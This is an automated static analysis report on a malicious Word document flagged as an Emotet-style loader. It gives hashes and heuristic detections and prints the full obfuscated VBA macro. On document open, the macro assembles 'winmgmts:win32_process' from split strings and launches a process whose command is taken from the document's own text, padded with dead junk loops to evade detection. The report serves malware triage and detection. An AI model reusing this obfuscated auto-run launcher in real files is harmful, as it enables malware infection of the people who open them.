Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ebcdc4bcd0c1eba…

MALICIOUS

Office (OLE)

163.5 KB Created: 2021-01-22 08:23:00 Authoring application: Microsoft Office Word First seen: 2021-02-20
MD5: 3e8a754e631067d71908d9cfcc6f1c67 SHA-1: 84be8abf4125a68f2a13f69f3f724b535c80507a SHA-256: 5ebcdc4bcd0c1eba2d1968a86e0885b9233a8d2f297e3bcd6fe542e3099cba39
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033991-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set G9z1kefsztlmt3 = CreateObject(Jkjtpum70anp1ov5g2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16775 bytes
SHA-256: 3c5958394a8cd574bb5c21698184bd94e0175e4e32453917f72e270419c43f84
Detection
ClamAV: No threats found
Obfuscation or payload: likely
141 of 216 identifiers look randomly generated (e.g. 'Qekfayenvmraf08cqy'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "M355vvc_qfa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Rj6acwwx4ok
End Sub

Attribute VB_Name = "Abljqxjkbk2vy_lwk"
    

Attribute VB_Name = "G8g2gkh6bwry__ui"
Function Rj6acwwx4ok()
   GoTo JAlLID
Set CpsTrGJAF = XqPtJrDK
    Dim drGfeJB, YTtAAI, apjbJ As Long
    Dim ncCHIhhLE As Word.Paragraph
    Dim BVdyh() As Byte
    For Each ncCHIhhLE In M355vvc_qfa.Paragraphs
        BVdyh = ncCHIhhLE.Range
        dscc = "sadsaccc" & ncCHIhhLE.Range
        YTtAAI = UBound(BVdyh) - 1
        drGfeJB = 0
Set nlqbKVFYf = ePLxJDEQ
        Do Until YTtAAI > YTtAAI
            If BVdyh(YTtAAI) = 46 Or YTtAAI = YTtAAI Then
                dscc = "sasdsacc" & (drGfeJB / 2) + 1 & " to " & (YTtAAI / 2) + 1 & MidB$(BVdyh, drGfeJB + 1, YTtAAI - drGfeJB + 3)
                drGfeJB = YTtAAI + 2
            End If
            YTtAAI = YTtAAI + 2
        Loop
    Next
JAlLID:
skuwd = Vn8l6vefps34fhz0 + M355vvc_qfa _
. _
Content + Msp079hycz01z1h8
   GoTo CwgHH
Set UMnSoxA = uEbsID
    Dim RKIpPiC, CAlyYGB, RuvvQGCA As Long
    Dim QJnPD As Word.Paragraph
    Dim EOcYgB() As Byte
    For Each QJnPD In M355vvc_qfa.Paragraphs
        EOcYgB = QJnPD.Range
        dscc = "sadsaccc" & QJnPD.Range
        CAlyYGB = UBound(EOcYgB) - 1
        RKIpPiC = 0
Set mdTlBB = THKqLGT
        Do Until CAlyYGB > CAlyYGB
            If EOcYgB(CAlyYGB) = 46 Or CAlyYGB = CAlyYGB Then
                dscc = "sasdsacc" & (RKIpPiC / 2) + 1 & " to " & (CAlyYGB / 2) + 1 & MidB$(EOcYgB, RKIpPiC + 1, CAlyYGB - RKIpPiC + 3)
                RKIpPiC = CAlyYGB + 2
            End If
            CAlyYGB = CAlyYGB + 2
        Loop
    Next
CwgHH:
wjnsc = "x [ sh bpx [ sh b"
Np2g_b7yd4pwttdra = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo QDTPGBDf
Set CenkBB = BsOFD
    Dim DZIfc, aSgPdU, WGVEGF As Long
    Dim eCwdCD As Word.Paragraph
    Dim ZBynKFIwD() As Byte
    For Each eCwdCD In M355vvc_qfa.Paragraphs
        ZBynKFIwD = eCwdCD.Range
        dscc = "sadsaccc" & eCwdCD.Range
        aSgPdU = UBound(ZBynKFIwD) - 1
        DZIfc = 0
Set REqKI = yFnWCE
        Do Until aSgPdU > aSgPdU
            If ZBynKFIwD(aSgPdU) = 46 Or aSgPdU = aSgPdU Then
                dscc = "sasdsacc" & (DZIfc / 2) + 1 & " to " & (aSgPdU / 2) + 1 & MidB$(ZBynKFIwD, DZIfc + 1, aSgPdU - DZIfc + 3)
                DZIfc = aSgPdU + 2
            End If
            aSgPdU = aSgPdU + 2
        Loop
    Next
QDTPGBDf:
Vm8at3l6lft = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo cvaip
Set dveWsFckI = YxtlI
    Dim LwirJwf, dQxQHD, TwWzZXBCS As Long
    Dim ZleRMqC As Word.Paragraph
    Dim cpOKEJtD() As Byte
    For Each ZleRMqC In M355vvc_qfa.Paragraphs
        cpOKEJtD = ZleRMqC.Range
        dscc = "sadsaccc" & ZleRMqC.Range
        dQxQHD = UBound(cpOKEJtD) - 1
        LwirJwf = 0
Set ctLwz = KubaMOGU
        Do Until dQxQHD > dQxQHD
            If cpOKEJtD(dQxQHD) = 46 Or dQxQHD = dQxQHD Then
                dscc = "sasdsacc" & (LwirJwf / 2) + 1 & " to " & (dQxQHD / 2) + 1 & MidB$(cpOKEJtD, LwirJwf + 1, dQxQHD - LwirJwf + 3)
                LwirJwf = dQxQHD + 2
            End If
            dQxQHD = dQxQHD + 2
        Loop
    Next
cvaip:
Nqzq_as95rtvcy9q = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo HNhWtDI
Set FcbwGH = PCPgY
    Dim suzkCEJLA, PBPzFIbWR, tBeDiDD As Long
    Dim NIMCpHq As Word.Paragraph
    Dim XjKXDHK() As Byte
    For Each NIMCpHq In M355vvc_qfa.Paragraphs
        XjKXDHK = NIMCpHq.Range
        dscc = "sadsaccc" & NIMCpHq.Range
        PBPzFIbWR = UBound(XjKXDHK) - 1
        suzkCEJLA = 0
Set upruE = qGuvNH
        Do Until PBPzFIbWR > PBPzFIbWR
            If XjKXDHK(PBPzFIbWR) = 46 Or PBPzFIbWR = PBPzFIbWR Then
                dscc = "sasdsacc" & (suzkCEJLA / 2) + 1 & " to " & (PBPzFIbWR / 2) + 1 & MidB$(XjKXDHK, suzkCEJLA + 1, PBPzFIbWR - suzkCEJLA + 3)
                suzkCEJLA = PBPzFIbWR + 2
            End If
            PBPzFIbWR = PBPzFIbWR + 2
        Loop
    Next
HNhWtDI:
I678cmpbmleqfz = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo RvTnG
Set IuhgF = YnzSJBHHF
    Dim gNcgKABSu, HTbrA, TIbRCHDII As Long
    Dim uXlUZy As Word.Paragraph
    Dim LHEHF() As Byte
    For Each uXlUZy In M355vvc_qfa.Paragraphs
        LHEHF = uXlUZy.Range
        dscc = "sadsaccc" & uXlUZy.Range
        HTbrA = UBound(LHEHF) - 1
        gNcgKABSu = 0
Set AwKTLGIoI = BVtuJgIH
        Do Until HTbrA > HTbrA
            If LHEHF(HTbrA) = 46 Or HTbrA = HTbrA Then
                dscc = "sasdsacc" & (gNcgKABSu / 2) + 1 & " to " & (HTbrA / 2) + 1 & MidB$(LHEHF, gNcgKABSu + 1, HTbrA - gNcgKABSu + 3)
                gNcgKABSu = HTbrA + 2
            End If
            HTbrA = HTbrA + 2
        Loop
    Next
RvTnG:
Bk5zfyijidejcwshz = Nqzq_as95rtvcy9q + I678cmpbmleqfz + Vm8at3l6lft + wjnsc + Np2g_b7yd4pwttdra
   GoTo MdzVCx
Set eJWWCW = gozyDA
    Dim IUYlYAEA, eYEjFQDJ, pjxrYVa As Long
    Dim OwiiteDFb As Word.Paragraph
    Dim VDHdFe() As Byte
    For Each OwiiteDFb In M355vvc_qfa.Paragraphs
        VDHdFe = OwiiteDFb.Range
        dscc = "sadsaccc" & OwiiteDFb.Range
        eYEjFQDJ = UBound(VDHdFe) - 1
        IUYlYAEA = 0
Set EWIhJ = GLlApHHEJ
        Do Until eYEjFQDJ > eYEjFQDJ
            If VDHdFe(eYEjFQDJ) = 46 Or eYEjFQDJ = eYEjFQDJ Then
                dscc = "sasdsacc" & (IUYlYAEA / 2) + 1 & " to " & (eYEjFQDJ / 2) + 1 & MidB$(VDHdFe, IUYlYAEA + 1, eYEjFQDJ - IUYlYAEA + 3)
                IUYlYAEA = eYEjFQDJ + 2
            End If
            eYEjFQDJ = eYEjFQDJ + 2
        Loop
    Next
MdzVCx:
Jkjtpum70anp1ov5g2 = Ay0ligh6fbm2_vvbw(Bk5zfyijidejcwshz)
   GoTo ceHSbhbJB
Set psbMqwGY = gpisJQHAG
    Dim uwchBBD, jUjjFhGI, XrwiFADBq As Long
    Dim BlJoEDG As Word.Paragraph
    Dim kfjcECA() As Byte
    For Each BlJoEDG In M355vvc_qfa.Paragraphs
        kfjcECA = BlJoEDG.Range
        dscc = "sadsaccc" & BlJoEDG.Range
        jUjjFhGI = UBound(kfjcECA) - 1
        uwchBBD = 0
Set BKEgrCxm = goDHgU
        Do Until jUjjFhGI > jUjjFhGI
            If kfjcECA(jUjjFhGI) = 46 Or jUjjFhGI = jUjjFhGI Then
                dscc = "sasdsacc" & (uwchBBD / 2) + 1 & " to " & (jUjjFhGI / 2) + 1 & MidB$(kfjcECA, uwchBBD + 1, jUjjFhGI - uwchBBD + 3)
                uwchBBD = jUjjFhGI + 2
            End If
            jUjjFhGI = jUjjFhGI + 2
        Loop
    Next
ceHSbhbJB:
Set G9z1kefsztlmt3 = CreateObject(Jkjtpum70anp1ov5g2)
   GoTo mwapl
Set aIMpJ = zdCmAI
    Dim RyCWCBYIH, lscvJD, BKSuHOBvJ As Long
    Dim YTFWIm As Word.Paragraph
    Dim fxXYAMVdF() As Byte
    For Each YTFWIm In M355vvc_qfa.Paragraphs
        fxXYAMVdF = YTFWIm.Range
        dscc = "sadsaccc" & YTFWIm.Range
        lscvJD = UBound(fxXYAMVdF) - 1
        RyCWCBYIH = 0
Set YuPeG = mbpHHN
        Do Until lscvJD > lscvJD
            If fxXYAMVdF(lscvJD) = 46 Or lscvJD = lscvJD Then
                dscc = "sasdsacc" & (RyCWCBYIH / 2) + 1 & " to " & (lscvJD / 2) + 1 & MidB$(fxXYAMVdF, RyCWCBYIH + 1, lscvJD - RyCWCBYIH + 3)
                RyCWCBYIH = lscvJD + 2
            End If
            lscvJD = lscvJD + 2
        Loop
    Next
mwapl:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = Ay0ligh6fbm2_vvbw(njcnja)
   GoTo qgEMBdBYB
Set cEmoHG = MKOkAkDEA
    Dim VLtTfYFt, AJDjqGF, lLxOEH As Long
    Dim VReCHAiRJ As Word.Paragraph
    Dim ZTyEBE() As Byte
    For Each VReCHAiRJ In M355vvc_qfa.Paragraphs
        ZTyEBE = VReCHAiRJ.Range
        dscc = "sadsaccc" & VReCHAiRJ.Range
        AJDjqGF = UBound(ZTyEBE) - 1
        VLtTfYFt = 0
Set OgHJdA = OpAzQISCW
        Do Until AJDjqGF > AJDjqGF
            If ZTyEBE(AJDjqGF) = 46 Or AJDjqGF = AJDjqGF Then
                dscc = "sasdsacc" & (VLtTfYFt / 2) + 1 & " to " & (AJDjqGF / 2) + 1 & MidB$(ZTyEBE, VLtTfYFt + 1, AJDjqGF - VLtTfYFt + 3)
                VLtTfYFt = AJDjqGF + 2
            End If
            AJDjqGF = AJDjqGF + 2
        Loop
    Next
qgEMBdBYB:
G9z1kefsztlmt3.Create nnjasd, Apry08545ubm, Evhhg1wldz7o_
   GoTo HUHCzF
Set CuXRxFgAL = inUMImaxJ
    Dim TjPUUD, kIvjrjw, yrtjM As Long
    Dim bNYyYXL As Word.Paragraph
    Dim sNgsIAHE() As Byte
    For Each bNYyYXL In M355vvc_qfa.Paragraphs
        sNgsIAHE = bNYyYXL.Range
        dscc = "sadsaccc" & bNYyYXL.Range
        kIvjrjw = UBound(sNgsIAHE) - 1
        TjPUUD = 0
Set tHCfD = oXlBGvJfA
        Do Until kIvjrjw > kIvjrjw
            If sNgsIAHE(kIvjrjw) = 46 Or kIvjrjw = kIvjrjw Then
                dscc = "sasdsacc" & (TjPUUD / 2) + 1 & " to " & (kIvjrjw / 2) + 1 & MidB$(sNgsIAHE, TjPUUD + 1, kIvjrjw - TjPUUD + 3)
                TjPUUD = kIvjrjw + 2
            End If
            kIvjrjw = kIvjrjw + 2
        Loop
    Next
HUHCzF:
End Function
Function Ay0ligh6fbm2_vvbw(Cu5jn88vxui615)
On Error Resume Next
   GoTo ZpWVJHXEu
Set LvYEC = muFWfC
    Dim GxrODGqJO, tdXEHJ, GWccvBGM As Long
    Dim WtYQEjgU As Word.Paragraph
    Dim nnlZQJ() As Byte
    For Each WtYQEjgU In M355vvc_qfa.Paragraphs
        nnlZQJ = WtYQEjgU.Range
        dscc = "sadsaccc" & WtYQEjgU.Range
        tdXEHJ = UBound(nnlZQJ) - 1
        GxrODGqJO = 0
Set POCPCR = FEPdEGVA
        Do Until tdXEHJ > tdXEHJ
            If nnlZQJ(tdXEHJ) = 46 Or tdXEHJ = tdXEHJ Then
                dscc = "sasdsacc" & (GxrODGqJO / 2) + 1 & " to " & (tdXEHJ / 2) + 1 & MidB$(nnlZQJ, GxrODGqJO + 1, tdXEHJ - GxrODGqJO + 3)
                GxrODGqJO = tdXEHJ + 2
            End If
            tdXEHJ = tdXEHJ + 2
        Loop
    Next
ZpWVJHXEu:
Ap_82u6f94d4zmxab = Cu5jn88vxui615
   GoTo MEvFND
Set uVJHDJ = NZUhGE
    Dim PBgduIjWs, gwagFYDyL, mxYGH As Long
    Dim qWifvgt As Word.Paragraph
    Dim mWxDGCZ() As Byte
    For Each qWifvgt In M355vvc_qfa.Paragraphs
        mWxDGCZ = qWifvgt.Range
        dscc = "sadsaccc" & qWifvgt.Range
        gwagFYDyL = UBound(mWxDGCZ) - 1
        PBgduIjWs = 0
Set tNjjB = dSpDAEE
        Do Until gwagFYDyL > gwagFYDyL
            If mWxDGCZ(gwagFYDyL) = 46 Or gwagFYDyL = gwagFYDyL Then
                dscc = "sasdsacc" & (PBgduIjWs / 2) + 1 & " to " & (gwagFYDyL / 2) + 1 & MidB$(mWxDGCZ, PBgduIjWs + 1, gwagFYDyL - PBgduIjWs + 3)
                PBgduIjWs = gwagFYDyL + 2
            End If
            gwagFYDyL = gwagFYDyL + 2
        Loop
    Next
MEvFND:
Qekfayenvmraf08cqy = Oy3lchkteuxpicyw4(Ap_82u6f94d4zmxab)
   GoTo Amrro
Set rXzEFGHKJ = yvMEADFZV
    Dim okhxJwD, zRFIAwB, bvhzG As Long
    Dim PulHIFHnz As Word.Paragraph
    Dim wegaJFI() As Byte
    For Each PulHIFHnz In M355vvc_qfa.Paragraphs
        wegaJFI = PulHIFHnz.Range
        dscc = "sadsaccc" & PulHIFHnz.Range
        zRFIAwB = UBound(wegaJFI) - 1
        okhxJwD = 0
Set igPim = KaMtAb
        Do Until zRFIAwB > zRFIAwB
            If wegaJFI(zRFIAwB) = 46 Or zRFIAwB = zRFIAwB Then
                dscc = "sasdsacc" & (okhxJwD / 2) + 1 & " to " & (zRFIAwB / 2) + 1 & MidB$(wegaJFI, okhxJwD + 1, zRFIAwB - okhxJwD + 3)
                okhxJwD = zRFIAwB + 2
            End If
            zRFIAwB = zRFIAwB + 2
        Loop
    Next
Amrro:
Ay0ligh6fbm2_vvbw = Qekfayenvmraf08cqy
   GoTo sSrGGR
Set ZODWBsEBI = elPNHo
    Dim tiGZxsJvH, TyDxBSIdA, VDpyCCYs As Long
    Dim uuvyPZHIG As Word.Paragraph
    Dim RbMyeP() As Byte
    For Each uuvyPZHIG In M355vvc_qfa.Paragraphs
        RbMyeP = uuvyPZHIG.Range
        dscc = "sadsaccc" & uuvyPZHIG.Range
        TyDxBSIdA = UBound(RbMyeP) - 1
        tiGZxsJvH = 0
Set gTBbxHBP = GDjkmbZO
        Do Until TyDxBSIdA > TyDxBSIdA
            If RbMyeP(TyDxBSIdA) = 46 Or TyDxBSIdA = TyDxBSIdA Then
                dscc = "sasdsacc" & (tiGZxsJvH / 2) + 1 & " to " & (TyDxBSIdA / 2) + 1 & MidB$(RbMyeP, tiGZxsJvH + 1, TyDxBSIdA - tiGZxsJvH + 3)
                tiGZxsJvH = TyDxBSIdA + 2
            End If
            TyDxBSIdA = TyDxBSIdA + 2
        Loop
    Next
sSrGGR:
End Function
Function Oy3lchkteuxpicyw4(Ey14edh__u2i4z)
   GoTo GScOJ
Set ckzLJpOd = CeWPLG
    Dim rJumAGpCU, iwKTZKXhU, tqPaJVaI As Long
    Dim XlvjIkDRm As Word.Paragraph
    Dim uyhJSGFz() As Byte
    For Each XlvjIkDRm In M355vvc_qfa.Paragraphs
        uyhJSGFz = XlvjIkDRm.Range
        dscc = "sadsaccc" & XlvjIkDRm.Range
        iwKTZKXhU = UBound(uyhJSGFz) - 1
        rJumAGpCU = 0
Set NyNKZ = icPja
        Do Until iwKTZKXhU > iwKTZKXhU
            If uyhJSGFz(iwKTZKXhU) = 46 Or iwKTZKXhU = iwKTZKXhU Then
                dscc = "sasdsacc" & (rJumAGpCU / 2) + 1 & " to " & (iwKTZKXhU / 2) + 1 & MidB$(uyhJSGFz, rJumAGpCU + 1, iwKTZKXhU - rJumAGpCU + 3)
                rJumAGpCU = iwKTZKXhU + 2
            End If
            iwKTZKXhU = iwKTZKXhU + 2
        Loop
    Next
GScOJ:
   GoTo tgwzEB
Set cqwHzoLID = WLznQDX
    Dim GErrVLlHD, raTZFsA, IlkMCOGt As Long
    Dim KiBukZaID As Word.Paragraph
    Dim TYdyE() As Byte
    For Each KiBukZaID In M355vvc_qfa.Paragraphs
        TYdyE = KiBukZaID.Range
        dscc = "sadsaccc" & KiBukZaID.Range
        raTZFsA = UBound(TYdyE) - 1
        GErrVLlHD = 0
Set vpanjBY = UlVLK
        Do Until raTZFsA > raTZFsA
            If TYdyE(raTZFsA) = 46 Or raTZFsA = raTZFsA Then
                dscc = "sasdsacc" & (GErrVLlHD / 2) + 1 & " to " & (raTZFsA / 2) + 1 & MidB$(TYdyE, GErrVLlHD + 1, raTZFsA - GErrVLlHD + 3)
                GErrVLlHD = raTZFsA + 2
            End If
            raTZFsA = raTZFsA + 2
        Loop
    Next
tgwzEB:
   GoTo dIbCu
Set SImJJG = TizYJf
    Dim fuDVD, ZkJzCh, bMekI As Long
    Dim DcXNSh As Word.Paragraph
    Dim WLHzhZ() As Byte
    For Each DcXNSh In M355vvc_qfa.Paragraphs
        WLHzhZ = DcXNSh.Range
        dscc = "sadsaccc" & DcXNSh.Range
        ZkJzCh = UBound(WLHzhZ) - 1
        fuDVD = 0
Set OVwbHY = bDcyAJPCF
        Do Until ZkJzCh > ZkJzCh
            If WLHzhZ(ZkJzCh) = 46 Or ZkJzCh = ZkJzCh Then
                dscc = "sasdsacc" & (fuDVD / 2) + 1 & " to " & (ZkJzCh / 2) + 1 & MidB$(WLHzhZ, fuDVD + 1, ZkJzCh - fuDVD + 3)
                fuDVD = ZkJzCh + 2
            End If
            ZkJzCh = ZkJzCh + 2
        Loop
    Next
dIbCu:
Oy3lchkteuxpicyw4 = Replace(Ey14edh__u2i4z, "x [ sh b", Mrex3u6sr9nyb3xfi)
   GoTo KVCwR
Set vezoZEF = YexJBz
    Dim zBkPfohF, PcBxCUJMG, WSUqgCG As Long
    Dim mFbuvJLI As Word.Paragraph
    Dim SZReI() As Byte
    For Each mFbuvJLI In M355vvc_qfa.Paragraphs
        SZReI = mFbuvJLI.Range
        dscc = "sadsaccc" & mFbuvJLI.Range
        PcBxCUJMG = UBound(SZReI) - 1
        zBkPfohF = 0
Set eJANFqL = MiJnFbPG
        Do Until PcBxCUJMG > PcBxCUJMG
            If SZReI(PcBxCUJMG) = 46 Or PcBxCUJMG = PcBxCUJMG Then
                dscc = "sasdsacc" & (zBkPfohF / 2) + 1 & " to " & (PcBxCUJMG / 2) + 1 & MidB$(SZReI, zBkPfohF + 1, PcBxCUJMG - zBkPfohF + 3)
                zBkPfohF = PcBxCUJMG + 2
            End If
            PcBxCUJMG = PcBxCUJMG + 2
        Loop
    Next
KVCwR:
   GoTo gsTJBDF
Set iNgeDAH = TFrdII
    Dim cVcnEoADJ, cBmPNCJSv, iShKFOU As Long
    Dim ClXNA As Word.Paragraph
    Dim FIGYEGhf() As Byte
    For Each ClXNA In M355vvc_qfa.Paragraphs
        FIGYEGhf = ClXNA.Range
        dscc = "sadsaccc" & ClXNA.Range
        cBmPNCJSv = UBound(FIGYEGhf) - 1
        cVcnEoADJ = 0
Set dvdwE = AJrTz
        Do Until cBmPNCJSv > cBmPNCJSv
            If FIGYEGhf(cBmPNCJSv) = 46 Or cBmPNCJSv = cBmPNCJSv Then
                dscc = "sasdsacc" & (cVcnEoADJ / 2) + 1 & " to " & (cBmPNCJSv / 2) + 1 & MidB$(FIGYEGhf, cVcnEoADJ + 1, cBmPNCJSv - cVcnEoADJ + 3)
                cVcnEoADJ = cBmPNCJSv + 2
            End If
            cBmPNCJSv = cBmPNCJSv + 2
        Loop
    Next
gsTJBDF:
   GoTo PdfUXG
Set tGjntI = FcFNoAAE
    Dim VVTbccCG, fdZhB, UjrtBI As Long
    Dim CEOrEZgDD As Word.Paragraph
    Dim ZnyfAN() As Byte
    For Each CEOrEZgDD In M355vvc_qfa.Paragraphs
        ZnyfAN = CEOrEZgDD.Range
        dscc = "sadsaccc" & CEOrEZgDD.Range
        fdZhB = UBound(ZnyfAN) - 1
        VVTbccCG = 0
Set IcFSF = LuszFqPBe
        Do Until fdZhB > fdZhB
            If ZnyfAN(fdZhB) = 46 Or fdZhB = fdZhB Then
                dscc = "sasdsacc" & (VVTbccCG / 2) + 1 & " to " & (fdZhB / 2) + 1 & MidB$(ZnyfAN, VVTbccCG + 1, fdZhB - VVTbccCG + 3)
                VVTbccCG = fdZhB + 2
            End If
            fdZhB = fdZhB + 2
        Loop
    Next
PdfUXG:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.